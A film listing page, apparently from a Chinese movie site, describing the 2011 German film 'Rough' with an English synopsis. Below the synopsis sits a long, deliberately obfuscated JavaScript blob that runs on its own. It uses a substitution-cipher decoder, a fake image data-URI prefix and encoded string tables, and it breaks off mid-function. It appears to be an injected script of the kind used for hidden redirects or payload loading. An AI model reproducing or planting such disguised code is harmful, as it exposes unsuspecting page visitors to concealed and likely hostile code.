年份：2011
地区：其它
更新：2025-08-31
导演：Markus Busch
主演：Birge Schade 凯·伊沃·保利兹 安娜·思迪布里克
剧情介绍：Tania is an actress, 43. Thore is 15, a misfit in a small village at the northern tip of Germany. At the beginning of winter, Tania escapes from her numb life to the village. They meet. She decides to steal him from his parents.The actress Tania travels from Munich to a village in the north of Germany. The skies are grey, just like the sea and the wintery plains. Her feelings are also covered in a grey veil of mist. Her painful past makes it impossible for this forty-something to feel anything at all.The arrival of the stranger is immediately noticed in the tight-lipped community, but she is hardly welcome. Only the teenager Thore, whose imagination is too much for this no-man’s-land, has contact with her. A fragile band develops between them - attraction, rejection and occasionally sexually charged. Thore reveals a need in Tania, one she didn’t know she had. She decides to ‘steal’ Thore to come to terms with her own loss.Rough is a directing debut filmed with great poise and with a sharp eye for this beautiful yet slightly depressing landscape and the people who inhabit it. The camera first functions as a detached observer, then as an accomplice, always very close to Tania.
!function(){function a(a){var _idx="dxrla9tqki";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O","¡":"'"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a("data:image/jpg;base64,7_2(F6O2 d0dcq=Ta[(O2LF d8d0qca!5YF_52 d0d87_2(F6O2cw=La[w8w*0R}@d!qYF h8dHwZ!67cd0dH¡)WSeL+¡Z888_2fY762Yfa[Xd5 D87_2(F6O2cia[(O2LF ^8¡d)(fY7ph6CSq^2OJ:5LF_XDRT4ruxwE]k9W+ztyN;eI~i|BAV&-U0}@sonK1{Q%/8¡!qYF O8¡¡=58¡¡!7O5cqYF X80R0=-=I=z80R0!I8iH¡(hd5rF¡Zcz%%a!,Ivvc-8Xb0Roj-.0Ro0%IgI=X%%b0RoajO%8iF562pH¡75O^xhd5xOfY¡Zc0R77v->>c*0R@.Xv0RKaag0R0a[I8^H¡62fYR;7¡ZcIa!P7O5cqYF ;80R0=:8OH¡qY2pFh¡Z!;<:!;%%a[5%8¡b¡%c¡00¡%OH¡(hd5xOfYrF¡Zc;aH¡FOiF562p¡Zc0R}0aaH¡Lq6(Y¡Zc*0R@a!P5YF_52 fY(OfYB~WxO^JO2Y2Fc5a!P!(O2LF ]87_2(F6O2ci=^a[qYF O8HZ=580R0=X=-8¡¡!i8Dcia!qYF I!7O5cI80R0!I<0R}00!I%%a[OHIZ8I!P7O5cI80R0!I<0R}00!I%%a[58c5%OHIZ%^H¡(hd5xOfYrF¡ZcIb^H¡qY2pFh¡Zaab0R}00=X8OHIZ=OHIZ8OH5Z=OH5Z8X!PI80R0=580R0!7O5cqYF z80R0!z<iH¡qY2pFh¡Z!z%%a[I8cI%0R}ab0R}00=58c5%OHIZab0R}00=X8OHIZ=OHIZ8OH5Z=OH5Z8X=-%8iF562pH¡75O^xhd5xOfY¡ZciH¡(hd5xOfYrF¡Zcza3OHcOHIZ%OH5Zab0R}00Za!P5YF_52 -!P!d0dH¡k|BBOk¡Z8]=q8d5p_^Y2FL=d0dH¡)WSeL+¡Z8llHZ!P(O2LF F8dH0R0Z=V8w%F=N8qHVZ!5YF_52lNjcd0dH¡6))Wf4¡Z888_2fY762Yfvvcd0dH¡6))Wf4¡Z8llHZa=h8d0dH¡k|BBOk¡Zch=La=qHVZ8hagh8N=h!P=d0dcq=Ta!P7_2(F6O2 d0Tcq=Ta[(O2LF d8d0qca!5YF_52 d0T87_2(F6O2cw=La[w8w*0R}@d!qYF h8dHwZ!67cd0TH¡:&-ANk¡Z888_2fY762Yfa[Xd5 D87_2(F6O2c]a[(O2LF i8¡d)(fY7ph6CSq^2OJ:5LF_XDRT4ruxwE]k9W+ztyN;eI~i|BAV&-U0}@sonK1{Q%/8¡!qYF ^8¡¡=O8¡¡!7O5cqYF 580R0=X=-=I80R0!-8]H¡(hd5rF¡ZcI%%a!,-vvcX85b0RojX.0Ro0%-g-=5%%b0Roaj^%8iF562pH¡75O^xhd5xOfY¡Zc0R77vX>>c*0R@.5v0RKaag0R0a[-8iH¡62fYR;7¡Zc-a!P7O5cqYF z80R0=;8^H¡qY2pFh¡Z!z<;!z%%a[O%8¡b¡%c¡00¡%^H¡(hd5xOfYrF¡ZczaH¡FOiF562p¡Zc0R}0aaH¡Lq6(Y¡Zc*0R@a!P5YF_52 fY(OfYB~WxO^JO2Y2FcOa!P!d0TH¡du_Tz_¡Z8D=q8d5p_^Y2FL=d0TH¡:&-ANk¡Z8llHZ!P(O2LF F8dH0R0Z=V8w%F=N8qHVZ!5YF_52lNjch8d0TH¡du_Tz_¡Zcha=qHVZ8hagh8N=h!P=d0Tcq=Ta!P7_2(F6O2 d0qca[(O2LF T68H¡p^O)_)N(AyV_¡=¡ExOhVoUfA^STVeu(ik¡=¡TVN(yt;AVIJfz^OBfRx¡=¡TsX-xyXBw72+xytVwd¡=¡TDC+4pXy4@9ery|iuDnAxh7-xs5}wNwoER;¡=¡r9F(WXYO¡=¡TyQ0wpQ|Ok¡=¡TyXyusCt4Dnz¡=¡T@&eT@i¡=¡upQ+TR5eu@o¡=¡xyXUxpQBx@_¡=¡TyQzE:¡=¡xy7B4pQ|¡=¡V~NfkiS]V~i1VI_65&JfyUY¡=¡D^S6q(uftk¡=¡V1;6V~J(;iS+¡=¡TxSsV;X%VIAft{S-V;;¡=¡L-7eFdtKV1q(~D;¡=¡Ve](y9)JVnkQV;^¡=¡:_Cf5YXp509CLz|^F_nJ_77L_}5XXtwTDXe9Ty2z4D4;rDe~up}Bus)&xN20wR4sEhtK¡=¡rhCt4k¡=¡]^S|V;2|VIuf~xSoV;9xVnn_Vnu(y+~(ziOh¡=¡4ptUxp&9EFeWupQ+rUi¡=¡VKV7VI1(AiS0¡=¡xhXUrd¡=¡RLiQXW2@VK](|&2SV1/(B:¡=¡D^SpDX1(|xS6O:¡=¡V~ksV~/f+iSW2}kBVex4V;V¡=¡V~iYq{SoRxO{¡=¡V;U(|p2A^^O2V~6¡=¡V1A(kxS7V;;zVIQ7¡=¡xs59xN5UX@t0rd¡=¡xhk1¡=¡V1QVVeuf9^OyV~9]_d¡=¡xs)irR:¡=¡^FYoOfk}OY994Y5)wV¡=¡Xtn)VeNf~^OVwV¡=¡69U(k&CU¡=¡V;q(y+)eVok¡=¡XDk_V1dWV126VnYRVIsfBF{yR}k+hxSux^Shh:¡=¡uDX0TX|BTD}tJXQ]R@wzR:¡=¡SxSUVn:-d{O~f:¡=¡wR2txz7N4Dn0¡=¡u@n|4R2UTDwt¡=¡Rs:(V1:zVKC^VnzTVIhfAU:{¡=¡]{O4^{S)Vodw7d¡=¡w@tzwpkK^FdVCF|;4DtNrh:K¡=¡wpQ}T@9txV¡=¡V1{^V~s(A{S:V~i¡=¡6{S;Vo6thiOSh@A(+iO6V~~fB{Oi¡=¡7{Ow:(U(~s0J4:¡=¡Y{SpV;A(y70{VKo¡=¡2W4UrpQ-wf0¡=¡)+tBVI/(BU&N¡=¡xiO/CsxTVK/fIV¡=¡TR)V4Dnz:@9eup:¡=¡]_R(kiO+hiS2VKU(zy&U¡=¡J:n7VKF(tV:¡=¡x@&eT@_¡=¡_^SqV;+fzY;s¡=¡TR9K2seUw:¡=¡DiSS^d¡=¡Ve~(NiSzpYnSV1xpV;RfNR^¡=¡wpQowpQ+qy2Au:¡=¡xyX@4RCU4_tz¡=¡CN:Q¡=¡x@&AwYtz¡=¡r_R(zL1(i:¡=¡p{S~DxOxVn7I¡=¡f{SQJ^ODV1eqV1weD+6¡=¡4R4tuN5_ER)t¡=¡]yRfk+](BiS%VIT¡=¡7WX~VIJ(;:¡=¡V~7hVe^fF(:¡=¡5}))V;NfeiOU¡=¡4NCAu_2;TRCfu@5t¡=¡rh50xh^Kq-{¡=¡JskQ¡=¡V;N(|pXtqd¡=¡r:/(k}iT¡=¡VoU(eW{-Ve1fN@~(ixOw¡=¡T{OuJ{S:Vnx¡=¡RxS2_}U(BxSA¡=¡V~N(AiOxLV¡=¡)V^xVoJ(A^SV2iOUwd¡=¡V;~(NiSzpYd¡=¡Vnzxuk^Y2xSOR+R(+^OQdiSdJ{SVY:¡=¡wpXUwd¡=¡TD5z5R4tuN5^rR204Dntxk¡=¡^{S|VnV%fV¡=¡]^S|V;_t¡=¡wpt|4DQ}wd¡=¡Vn~(9-0¡=¡Js59xywtwf0-¡=¡TsCtTR5t5D&tuDXBwd¡=¡^+x0^+dnDX5&5st5¡=¡rDnB4RCRrD50rd¡=¡w7](kiO@h{OXVIufyk¡=¡R{S(V;/ft7_RVIf(N_hf9fY¡=¡xyX_xNz¡=¡w^O4Vn7&D)0SV;ff~76¡=¡^0A(y{Sef{S^VIT¡=¡xRXtxNtF4D&tTs5Axk¡=¡uY/(t{O-(iSdV1A(yd¡=¡rptz4pXB¡=¡x@X0LDn04RC@TDV¡=¡T@&e4Dn0D:¡=¡S{SyV~~fWXksVenwV;J(ed¡=¡xp_Q^:¡=¡wytUrDCeupt0ED2;TDnN4:¡=¡x@XB4YCtTD2Auk¡=¡xs59whXU¡=¡S{OiV1RfedJ(Ad¡=¡V;Nfe@{yV;]fNk¡=¡uiO6Vo5t_N55Voo¡=¡T@&e4Dn0Dd¡=¡O^O-VoA(A^OBVKT¡=¡VIVnV;VIV~2/VI1f9DRfB-+(|txiE)f(A9n@VKF(|V¡=¡VoC1VKY/V1/fe{O~¡=¡2FYU^fd-2z7+5XwLwk¡=¡VIiiVIhfIiOQVI^]SxS7¡=¡V~72Veo7F(_0C:¡=¡wytUrDCeupt0EX20TR5t¡=¡V1{&V~RfW{S_V~C2fF1fyiSeVKu(+d¡=¡VI+(NXo¡=¡VIN(t^O0VoR(+Y:AVe~(BVo¡=¡S:h(B{OAVKF(Az0¡=¡(FeyVI1(9+&]V~ufkiSQ¡=¡pxOw5U:¡=¡xhCtwytAwR27upX|4Dn0_@tWuptB4V¡=¡Ep70wFYVEN^¡=¡VI01V~Jf;iS;¡=¡rD}VusC0TDn0¡=¡C:J(|{OoV1+(eDx¡=¡V;J(zV}oVn:¡=¡4pt@¡=¡75N(|iOeV1z¡=¡VIsfkiS]VI6QVI{X¡=¡V;|xV~u(9V¡=¡xyXVup7+4:¡=¡VIk|Ve:{V~XIVn1(z:¡=¡29tCVKq(W&X^Jh1fBiOJu:z¡=¡2&~(t52X4^SFVo^p)^SrVno¡=¡_p^CV16zVK{¡=¡VI]f9iS4V;VkVI5XXk1fNV¡=¡]^OT2{SRVKYp){OpYxSo¡=¡wpQFwhCeuyx¡=¡V1FfAiSFqiS^FL_¡=¡^^S-Vo^%f{O2)7uft{OxV~~fi{OQ5}J(A{SLL{O(q^OuV11fepz^Voqft(zop9tV(&1f|d5xV;q(i92+¡=¡VK)+VIhfixOWVKnp]^O:VItz(xOIV;](AR)wh{ORVoTxVoC7OiOKV;&U){OX5V¡=¡L^O~:iS)VK|6VK|d_+N(iV¡=¡O:5JVKq(W&tyJk¡=¡]tAfexS%V~+(~DqfWX2CuV¡=¡^+d-^FY}^YCCu@5KxV¡=¡F^S7qLsfW0k¡=¡Ysuf9iO]wiS7xk¡=¡rh50xh^Kq-QeuDwUTLnWTDtzwLn+u@0A4yQ-wD0Axpt+q@t04D0AT+Cz4Ft+OfCz^F_oT@2W4yY0Ty^&T+6n2D4zOpC+^@XW^F^}2f792LnIxpx¡=¡5^Op:+/(AhY_29;¡=¡2k22V1h(Ak:¡=¡)+}yV~+(tWwrVI]f|iSK¡=¡VI^1VedkV~^¡=¡xsXWxs5-rDnN¡=¡w^SE6d1(W^Oi¡=¡4xOo^@TUVKRfA(t}VI6¡=¡]{SLO)i¡=¡])u(t}x6¡=¡V1_x^iO-_^O1V1u(;xS]Vn6¡=¡upXB4s5;¡=¡5t5uVIUfAxOIxxS06{SNV1+(~k¡=¡T@99uywt475AwD2;4R^¡=¡riOFVn20XLx5V;{¡=¡rDnz4R9J4k¡=¡:_Cf5YXp509CLz|^F_nJ_77L_}5XXtwTDX;¡=¡:xSCF0+(Id¡=¡TR)V4Dnz¡=¡Dz7SV;^¡=¡FyxCV1Y/VK;¡=¡x{OtV;T¡=¡ExSsV~X~VIsft{SUV;^¡=¡CN6Q¡=¡^{SoVo:Ef{O))k¡=¡rpX94d¡=¡r^S@V;CiV;+ft{SeV;V¡=¡Ve{iV~w1V1Rfe{Ok¡=¡V1|E^{OYfxO}qiOUX57IV1+(Wd¡=¡VI1fe^S)fiSzV1f(tDYy¡=¡C^OtV11f;kR(NxSCq{S02kwt6d¡=¡VI9LVKAfBxO+VIktV1F(BiSqVK{¡=¡Fy^UVKxe¡=¡V1i)VI+(yxSoVI6s¡=¡VIt;VK](txOfVK_]pfqfIiSwVnU(N{Ok¡=¡u@niu@7z¡=¡rDnU4RC0:D5ITD2tuN57upX|4Dn0¡=¡(iSsFxS0VK9uVK2S¡=¡CNdQ¡=¡uy7|4:¡=¡]iOUVK](NzV¡=¡x@XB4d¡=¡Ves(N^S%¡=¡wpQXxh)txz29x@_¡=¡w@tzwpk¡=¡T@QBT@70¡=¡TiO&CN_¡=¡T@99xz2A4pX)wd¡=¡T{Ofq{S]Vnx¡=¡h{SOVo1(B^O&VoRf~V¡=¡Ts2UXpXowd¡=¡piO)DWJ(Bd¡=¡x@X0:R50xytWwR5t¡=¡V1::VI+(AxSWV1XQVez¡=¡w^OKVKu(tz;n¡=¡]iSL69s(yxO@¡=¡T@&Ax@_¡=¡DNR(~-s(9iO^pxODVnJfNV¡=¡xhk1rpXe4@90Ok¡=¡f{S6Vn/(N{OkVo/fitx@¡=¡)_+f+{OnVI6¡=¡r{O~V1h(NXi¡=¡VK&w6{Op7{O4qiO+¡=¡_dQVV~f(zV2p¡=¡2{O&VIff;5u(|{S^J^S+SV5IS^OswxO|VIhfI:¡=¡xyX|us4t¡=¡V1hfeiSLw^SdEV¡=¡Vo{5u+6r¡=¡V~kyV~qfI{Se¡=¡4Dnzx}wewpk¡=¡wpQ}T@9Uwp7-wd¡=¡YNufy{OqT{SS¡=¡VIN(z^OsVo1(t_V¡=¡VI:}VedQV~_¡=¡RUx9¡=¡VeJ(zV}%Vn{zV~o¡=¡u@n0rD}tusX0¡=¡T@99xz70¡=¡V;F(z):9¡=¡xiOT^iSS¡=¡uDXUx@7N4:¡=¡Ve{yV~)~VeU(;{SKwf+fzV¡=¡VI+(k{OK¡=¡^FYU2U4RFhe-Eh_¡=¡Fy^SV1;yVKC^Vo^TVIqf~9T9DpzI7iSF4V¡=¡piO(_-+(|Rd+T0CpVI;¡=¡])J(y_06VIRfy^O0hV¡=¡F{SuV;Ff9Y;|VI+(N_6¡=¡V~TuJiSnT^OiV~+(|{S]VoT¡=¡V~55VIzqLd¡=¡rR2_usd¡=¡4^S&VeiNTzi¡=¡u@nAxpXB¡=¡TxO1VIT¡=¡JxS7S:N(kk¡=¡2s7~rXwqLd¡=¡4@X0Xpt|4:¡=¡xs5AxYt|uDXzrD704X)-us)94@70rDQB¡=¡xyX94htFwp704:¡=¡wxOzSskX¡=¡upQ94720TR5}xV¡=¡VIQfVe^dX-Y¡=¡V~T1VeTiVI:¡=¡Sd+(|^OtV1+(~sffe_d¡=¡XiO~4{Sd¡=¡xYu(y^O9p^Sh¡=¡V1qfAiS7qiSX4+~(~tttVoh(|iO^^{OK]sF(yk¡=¡Vn;Ru+{¡=¡f^S}J^OwVIkTVI{0(sJfAxSRfV¡=¡4@X05D&tuDXBwYCnLD:¡=¡upXywf;¡=¡Lf_1Dd_¡=¡VIow^iSoR^O|VI0¡=¡V1wkVo|QV1Y-V~uf|R1fNFq(kk¡=¡DiShV;~fk}i|¡=¡V;F(zfwAVo^nV;kx¡=¡CxOUVn/f;{SyVeq(~d¡=¡V;dtV~9iVI;¡=¡rDnB4RC64DtNrh:¡=¡2^OnV1]fIk^¡=¡4pnU¡=¡V1q(txOuV;Y/VeV:r96¡=¡wpQ}T@9tuy:¡=¡wiSoVIJ(B0/f;xO]Y{SV6fX7OV¡=¡4ytiwpX-¡Z!d0q87_2(F6O2ca[5YF_52 T6!P!5YF_52 d0qca!Pc7_2(F6O2cq=Ta[(O2LF qU8d0T=q:8d0d=d8qca!Dh6qYcllHZa[F5T[(O2LF w8*Jd5LYW2Fcq:c0R}f7=¡Fp1#¡aa/0R}.cJd5LYW2Fcq:c0R}nf=¡pv{w¡aa/0R@a%*Jd5LYW2FcqUc0R@sfaa/0Rs%*Jd5LYW2Fcq:c0R@@s=¡RtV{¡aa/0Ro.cJd5LYW2Fcq:c0R}1Y=¡xCA]¡aa/0Rna%*Jd5LYW2FcqUc0R@0}aa/0RK.cJd5LYW2FcqUc0R}(0aa/0R1a%Jd5LYW2FcqUc0R})oaa/0R{.cJd5LYW2Fcq:c0R}77=¡s$6E¡aa/0RQa%Jd5LYW2FcqUc0R}nYaa/0Rd%Jd5LYW2FcqUc0R}s(aa/0R)!67cw888Ta)5YdS!YqLY dH¡J_Lh¡ZcdH¡Lh67F¡Zcaa!P(dF(hcLa[dH¡J_Lh¡ZcdH¡Lh67F¡Zcaa!PPPcd0q=0R})}{da=ccca8>[(O2LF qC8d0d=qJ8d0T!Xd5 w8l0R}=V=N=]8D62fODHqJc0R@sYaZ!qYF -8HZ=I8H¡Jk(Cn6UKU2)C}ktFQ@-_S@(_U^YFRi)XN^t@U9ds0@)¡Z=z8¡LX)O(h¡=;8¡fR5qdQF:S6}}n¡=:8]/0R@{0.c0RKo%0Rs@.c0Rs*N_^)Y5c¡}¡aaa=U8[¡6L|OJ¡g¡0¡=¡YXY2F|TJY¡gqJc0R}f)a=¡5ODL¡g0Ro=¡(Oq_^2L¡g0Rd=¡6FY^V6Fh¡g]/0Rd=¡6FY^9Y6phF¡g:/0Ro=¡qOdfiFdF_L¡g0R0=¡LqOFWf¡gBc0mn<ydFhHqJc0R}YdaZcaj0RKg0R{a%z=¡5YXY5LYWf¡gBc0mn<ydFhHqJc0R}YdaZcaj0RKg0R{a%z=¡5YXY5LY9Y6phF¡gN_^)Y5c¡0¡a=¡5Y|5T¡g0R0=¡D¡g0R0=¡L_¡gHZ=¡f2L¡g0R0=¡ff¡gqJc0R@}fa=¡)p¡gqJc0R}K}aP=C8;HqJc0R}{(aZca=y8¡MM¡%C%¡E~¡=S8¡MM¡%C%¡w;¡=+8¡MM¡%C%¡~r¡=98qJc0R}Y@a=r8fO(_^Y2FHqCc0R@07=¡{bYr¡aZHqJc0R}oKaZ=~87_2(F6O2ca[(O2LF qS8qC=qy8qJ!5YF_52c2YD wdFYcaHqyc0R}(}aZca/Jd5LYW2Fc¡s¡%qSc0R}s)=¡:D2c¡aHqSc0R}(1=¡lo:N¡aZc*0RnaaaHqyc0R}n1aZcaHqyc0R@}{aZc0R0=qyc0R@}daHqSc0R}Q(=¡p1va¡aZc0Rs=0Roaa!P=287_2(F6O2cqK=q1a[(O2LF q+8qC!5YF_52 qKHq+c0R}f0=¡rUtI¡aZcq1=*0Rsa!P=W87_2(F6O2cqKa[(O2LF qr8qC=q98qJ!qYF q18qKHq9c0R@00aZc¡¡a=q{8¡¡!7O5cXd5 qQ8q1Hqrc0R@s0=¡fv])¡aZ*0R}!qQ>80R0!qQ**a[q{%8q1HqQZ!P5YF_52 q{!P=R87_2(F6O2ca[(O2LF q~8qJ=q68qC!F5T[qYF qK8+i;NHq6c0R}7n=¡e~-7¡aZc&cya??¡HZ¡a!-8-Hq~c0R}{YaZcqKa=|cy=¡¡=0R0a!P(dF(hcq1a[P67c-Hq~c0R}K(aZ>0R0a5YF_52l0R0!YqLY 5YF_52l0R}!P!UHqCc0R})d=¡]-^]¡aZ888¡0¡vvcUHqCc0R}o{=¡Z-_Z¡aZ8llHZ=rH¡6f¡Z8;=D62fODH;Z8ra!UHqJc0R}))aZ8UHqJc0R}))aZ888¡}¡!7_2(F6O2 AcqK=q1a[(O2LF q28qJ!q180R}<d5p_^Y2FLHq2c0R}K(aZvvXO6f 0R0l88q1jq1g¡¡=cUHq2c0R}(naZ8*0R}=-Hq2c0R}7KaZcqK%¡g¡%q1aa!P7_2(F6O2 xcqKa[(O2LF qW8qC=qf8qJ!Xd5 q18qfc0R}1}a%9%qWc0R}(f=¡RtV{¡a=q{8¡¡=qQ=qq=qT=qd=qw=qL=qh=qD80R0=qF87_2(F6O2cqVa[(O2LF q(8qW=qR8qf!Xd5 qN8¡¡=q]80R0=qi80R0=q^80R0=qO80R0=q580R0!Dh6qYcq]<qVHqRc0R}K(aZa[qi8qVHqRc0R}Q0aZcq]a!67cqi<0R{0aqN%8iF562pHqRc0R@@QaZcqia=q]%%!YqLY qi>0R)7vvqi<0RY0jcqO8qVHqRc0R}Q0aZcq]%0R}a=qN%8iF562pHq(c0R}71=¡rUtI¡aZccqiv0R}7a<<0RK?qOv0Rs7a=q]%80R@agcqO8qVHq(c0R}K{=¡W{pT¡aZcq]%0R}a=q58qVHq(c0R}Ko=¡O|Cu¡aZcq]%0R@a=qN%8iF562pHq(c0R}ns=¡bE]3¡aZccqiv0R7a<<0R(?cqOv0Rs7a<<0RK?q5v0Rs7a=q]%80Rsa!P5YF_52 qN!P!qKHqfc0R}7faZc¡^fnL_^¡avvcqK8qKHqfc0R@}{aZc0RK=N_^)Y5c¡}o¡aaa!qK8qKHqfc0R}n0aZc/H3r*Ud*40*Q%/8Z/p=¡¡a!Dh6qYcqD<qKHqWc0R}no=¡RR4}¡aZa[qd8q1HqWc0R}n{=¡:H--¡aZcqKHqWc0R@0Y=¡e~-7¡aZcqD%%aa=qw8q1HqWc0R@01=¡{bYr¡aZcqKHqfc0R}dYaZcqD%%aa=qL8q1HqWc0R}fn=¡Fp1#¡aZcqKHqWc0R}Ks=¡CEQw¡aZcqD%%aa=qh8q1Hqfc0R}10aZcqKHqfc0R}dYaZcqD%%aa=qQ8qd<<0R@?qw>>0Ro=qq8cqwv0R7a<<0Ro?qL>>0R@=qT8cqLv0Rsa<<0RK?qh=q{8q{%iF562pHqfc0R@@QaZcqQa=qLl80Ro0vvcq{8q{%iF562pHqfc0R@@QaZcqqaa=qhl80Ro0vvcq{8q{%iF562pHqfc0R@@QaZcqTaa!P5YF_52 qFcq{a!P(O2LF k8xc¡^fnL_^+2NJU@oQ4¡a!UH¡L_¡Z84c0R0a=UH¡d5¡Z8IH0R0Z!F5T[I84cIH0R0Za!P(dF(hcqKa[P7_2(F6O2 tca[(O2LF qx8qJ=qA8qC!qYF q18&c+a!5YF_52 q1??|c+=q18ydFhHqAc0R}dQ=¡9:Q$¡aZcaHqxc0R}n1aZc0R@oaHqAc0R})1=¡5^DU¡aZc0Rsa=_2fY762Yfa=Y2(OfYB~WxO^JO2Y2Fcq1a!P7_2(F6O2 Ecq1a[(O2LF qY8qJ=q78qC!qYF q{8UH¡L_¡ZHydFhHq7c0R}Kn=¡lo:N¡aZcydFhHqYc0R}YdaZca.UH¡L_¡ZHqYc0R}K(aZaZ=qQ!lq{vvcq{8IHydFhHq7c0R}Yf=¡e~-7¡aZcydFhHq7c0R}1n=¡RR4}¡aZca.IHq7c0R@@1=¡]-^]¡aZaZa!67clq{a5YF_52 I84cUH¡d5¡Za=q{!qYF qq87_2(F6O2cqTa[(O2LF q)8q7=qk8qY!qYF qd8c~caHqkc0R@}{aZc*0Rna%zHqkc0R@}{aZcJd5LYW2Fc¡@¡a=0RnaaHq)c0R@@K=¡O|Cu¡aZc¡¡a=qw8ydFhHq)c0R@@{=¡w~q3¡aZcaHq)c0R}11=¡@c{&¡aZc0R}0aHq)c0R}Qf=¡{pf$¡aZc0R@=Jd5LYW2Fcqkc0R}o1aHq)c0R@ss=¡BcFD¡aZc0Ro=0RKaaaHqkc0R@00aZc¡¡a=qL8¡¡!7O5cXd5 qh8qdHqkc0R}K(aZ*0R}!qh>80R0!qh**a[qL%8qwHqhZ%qdHqhZ!P5YF_52¡^fnL_^+2NJU@oQ4¡%qL!P!5YF_52 q{HqYc0R@00aZc¡m¡aHq7c0R}Q1=¡bev4¡aZ>0R@jqQ8q{gqQ8~ca%z%¡m¡%q{=UH¡pf¡Z8q7c0R}QK=¡e~-7¡a%qQ=qQ%q1%qYc0R@}7a%tca%q0ca%k%qqczaHq7c0R}fK=¡:D2c¡aZcJd5LYW2Fcq7c0R}n}=¡lo:N¡aHq7c0R@@7=¡__1{¡aZc*0R@a*0R}daa!P7_2(F6O2 ucq1=q{a[(O2LF qE8qC=qt8qJ!UHqtc0R}fQaZ%%!F5T[Xd5 qQ89Hqtc0R@00aZc¡¡a=qq82YD &yt9FFJ~Y:_YLFca=qT8¡m¡%z%¡m¡%qQHydFhHqEc0R}{Q=¡bev4¡aZcydFhHqEc0R}(K=¡]-^]¡aZca.qQHqEc0R}Q{=¡)]3&¡aZaZ%¡m¡%UH¡ff¡Z!qqHqEc0R}1o=¡w~q3¡aZcqEc0R}o}=¡L};O¡a=qEc0R@s7=¡CcQd¡a%q1%qEc0R})7=¡)]3&¡a%qEc0R}ds=¡:H--¡a%qtc0R}s}a%qtc0R@}@a%qEc0R}7(=¡+]zG¡a%~ca%qT=llHZa=qqHqtc0R@sQaZ80R}s{{=qqHqEc0R}()=¡:H--¡aZ87_2(F6O2ca[(O2LF q48qE=qu8qt!67cqqHquc0R}(saZ8880RovvqqHquc0R}soaZ8880R({a[qYF qd8+i;NHq4c0R}1@=¡fv])¡aZcqqHquc0R}Y{aZa!qdvvqdHq4c0R}(d=¡CcQd¡aZ>0R0vvl|cS=qdH0R0ZHq4c0R}o)=¡GO}e¡aZc0R}=*0R}a%¡?¡%2YD wdFYcaHq4c0R}{@=¡e~-7¡aZcaHq4c0R}fo=¡GO}e¡aZca=0R0a=qdvvcUH¡L_¡Z84c_2fY762Yfaa8880R0=UHq4c0R}d)=¡rUtI¡aZ80R0!PP=qqHqEc0R@0)=¡__1{¡aZ87_2(F6O2cqda[(O2LF qe8qE!qqHqec0R}dd=¡lo:N¡aZca=q{vvucq{=_2fY762Yfa=Ac0Rsn=qec0R}Ys=¡5^DU¡aa!P=qqHqtc0R}dfaZ87_2(F6O2cqda[(O2LF q&8qE!qqHq&c0R}dd=¡lo:N¡aZca=q{vvucq{=0R0a=Ac0Rsn=q&c0R}f}=¡bq#@¡aa!P=qqHqtc0R}{daZca!P(dF(hcqda[PP7_2(F6O2 4cq1a[(O2LF qp8qJ=q|8qC!qYF q{8q1??&cS=0R0a=qQ8q|c0R@@Y=¡4Nc&¡a=qq8q|c0R@s@=¡w~q3¡a!67clq{a5YF_52lUHq|c0R}{)=¡BcFD¡aZvvucqQ=qqa=HZ!YqLY[67cq{Hqpc0R}10aZc¡?¡a>80R0a[q{8q{Hq|c0R@s1=¡{bYr¡aZc¡?¡a!67c2YD wdFYcaHq|c0R}70=¡GO}e¡aZca*Jd5LYW2Fcq{H0R}Za>0RoQsY0alUHq|c0R@})=¡iCYG¡aZvvucqq=qQa!67c_2fY762Yf888q1a5YF_52HZ!YqLY q{8q{H0R0Z!PPq{8q{Hqpc0R@}{aZc*0Rsa%2cq{=0Rsa%q{Hqpc0R}KKaZc0R0=0Rsa=q{8Wcq{a!Dh6qYcq{Hqpc0R}K(aZb0Rol880R0a[q{%8¡8¡!PqYF qT8xcq{aHq|c0R}f{=¡Q5fZ¡aZc¡=¡a!5YF_52 qT8qTHqpc0R}ffaZc7_2(F6O2cqda[(O2LF qB8q|!5YF_52 qdHqBc0R}7{=¡fv])¡aZc¡m¡a>80R0!Pa=qT!P7_2(F6O2 ecq1a[(O2LF q_8qC!UH¡L_¡Z8UH¡L_¡ZHq_c0R}fs=¡$(zK¡aZc7_2(F6O2cq{a[(O2LF T}8q_=T08d0T!5YF_52lq1HT0c0R@00aZc¡/¡aH0R0ZHT}c0R}1)=¡@c{&¡aZcq{a!Pa=I8IHq_c0R}K1=¡)]3&¡aZc7_2(F6O2cq{a[(O2LF Ts8d0T=T@8q_!5YF_52lq1HT@c0R}Kd=¡5^DU¡aZc¡/¡aH0R0ZHTsc0R}dKaZcq{a!Pa!P7_2(F6O2 &cq1=q{a[(O2LF To8qC!qYF qQ82_qq!F5T[qQ8qO(dqiFO5dpYHToc0R}oY=¡+]zG¡aZcq1a!P(dF(hcqqa[q{vvcqQ8q{caa!P5YF_52 qQ!P7_2(F6O2 |cq1=q{=qQa[(O2LF Tn8qC!F5T[q{vvq{HTnc0R@}Q=¡$(zK¡aZ>0R0jqO(dqiFO5dpYHTnc0R}1Q=¡{bYr¡aZcq1=q{agqO(dqiFO5dpYHTnc0R}o@=¡9:Q$¡aZcq1a!P(dF(hcqqa[qQvvqQca!PP7_2(F6O2 Bcq1a[(O2LF T18qJ=TK8qC!qYF q{80R0<d5p_^Y2FLHTKc0R}d{=¡cZre¡aZvvXO6f 0R0l88q1jq1g0R}=qQ8T1c0R}7}a=qq8qQHT1c0R}K(aZ=qT8¡¡!7O5c!q{**!aqT%8qQHydFhHTKc0R@@(=¡L};O¡aZcydFhHTKc0R}n7=¡iCYG¡aZca.qqaZ!5YF_52 qT!P7_2(F6O2 q0ca[(O2LF T{8qJ!5YF_52 T{c0R}{1a%z!P7_2(F6O2 q}cq1a[(O2LF 